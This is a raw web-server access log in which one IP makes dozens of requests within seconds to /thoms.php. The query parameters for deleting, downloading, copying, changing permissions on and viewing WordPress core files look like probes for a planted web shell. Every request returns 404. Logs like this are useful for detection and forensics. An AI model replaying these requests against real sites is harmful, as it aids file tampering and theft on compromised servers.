45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?del=class-wp-term-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-term-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-files.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-files.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?del=pluggable.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=pluggable.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?dl=spl-autoload-compat.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=spl-autoload-compat.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Frss-functions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Frss-functions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?del=certificates&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=certificates&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-phpass.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-phpass.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?dl=class-wp-connector-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-connector-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?dl=class-wp-http-streams.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-streams.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?chmod=compat-utf8.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=compat-utf8.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?del=feed-atom.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-atom.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=admin-bar.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?chmod=class-wp-date-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-date-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?dl=class-wp-site-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-site-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?chmod=ms-files.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-files.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?chmod=registration.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=registration.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?del=speculative-loading.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=speculative-loading.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?del=taxonomy.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=taxonomy.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fhtml-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fhtml-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-pop3.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-pop3.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-list.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:25 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=bookmark.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=bookmark.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?dl=class-wp-block-type-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?chmod=class-wp-image-editor.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wpdb.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wpdb.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?del=compat.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=compat.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=feed-rss2-comments.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=feed-rss2-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?dl=fonts.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=fonts.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?chmod=class-wp-locale.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-oembed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fconnectors.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fconnectors.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?chmod=default-filters.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=default-filters.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:26 -0400] "GET /thoms.php?del=general-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=general-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?del=class-wp-duotone.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-duotone.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=cache.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?chmod=general-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=general-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?del=ai-client.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ai-client.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?chmod=canonical.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=canonical.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?dl=class-wp-dependency.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependency.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?del=class-wp-phpmailer.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-phpmailer.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?chmod=class-wp-theme-json-resolver.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-resolver.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?chmod=class.wp-scripts.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class.wp-scripts.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblock-editor.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblock-editor.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-oembed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:27 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?dl=class-wp-customize-setting.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-setting.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=json-schema.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?del=nav-menu.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=nav-menu.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?chmod=template-loader.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=template-loader.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?dl=user.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=user.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-snoopy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-snoopy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?dl=class-wp-customize-manager.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-manager.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
